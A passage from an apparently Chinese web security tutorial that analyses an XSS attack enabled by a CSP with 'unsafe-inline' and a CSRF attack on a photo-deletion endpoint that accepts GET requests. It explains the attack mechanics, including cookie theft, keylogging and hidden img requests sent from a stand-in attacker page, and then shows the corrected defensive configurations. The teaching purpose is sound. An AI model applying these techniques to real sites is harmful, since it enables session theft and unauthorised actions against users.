🔍 结果分析 攻击结果 : ✅ 成功 失败原因 : CSP配置错误
问题分析 :
XSS注入成功 : 网站未过滤 <script> 标签
CSP配置失误 : 'unsafe-inline' 允许执行内联脚本
攻击执行 : 恶意代码被当作合法脚本执行
数据窃取 : 成功获取Cookie、本地存储等敏感信息
持续监控 : 键盘记录和表单劫持正常工作
正确防护 :
1 2 3 4 5 <meta http-equiv ="Content-Security-Policy" content ="default-src 'self'; script-src 'self' 'nonce-random123'; object-src 'none';" >
🎯 场景三 - HTTP方法配置错误的CSRF攻击 🏛️ 情景设定
目标网站 : 社交应用 https://socialapp.com/api/delete_photo认证方式 : Cookie认证API设计缺陷 : 删除操作同时支持GET和POST方法CSRF防护 : 仅在POST请求中验证Token,GET请求未验证攻击页面 : https://evil-hacker.com/trap.html
💀 攻击代码
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🤔 思考题
用户访问这个页面后会发生什么?
哪些安全机制失效了?
🔍 结果分析 攻击结果 : ✅ 成功 失败原因 : CSRF防护不完整
攻击过程 :
用户访问 : 用户点击恶意链接,看到精美的中奖页面
自动攻击 : 隐藏的 <img> 标签自动发送恶意请求
Cookie携带 : 浏览器自动携带用户在社交应用的Cookie
服务器处理 : 服务器认为是用户本人的合法操作
攻击成功 : 用户的照片被删除,资料被修改,关注了攻击者
防护失效原因 :
❌ 状态修改操作使用了GET方法
❌ GET请求未验证CSRF Token
❌ 未检查Referer头部
正确防护 :
1 2 3 4 5 6 7 app.post ('/api/delete_photo' , csrfProtection, (req, res ) => { });
🏆 实战总结 ✨ 关键收获 通过这三个实战场景,我们可以得出以下重要结论:
防护是多层的 : 单一安全机制容易被绕过,需要多重防护
配置很关键 : 错误的配置比没有配置更危险
攻击很隐蔽 : 真实攻击往往包装得很精美,用户难以察觉
细节决定成败 : 一个小的配置错误就可能导致整个防护体系失效
🛡️ 防护建议
定期审核 : 定期检查和更新安全配置
最小权限 : 只给予必要的权限,严格控制访问范围
多层验证 : 重要操作需要多重验证机制
持续监控 : 建立完善的安全监控和告警系统
用户教育 : 提高用户的安全意识,识别钓鱼攻击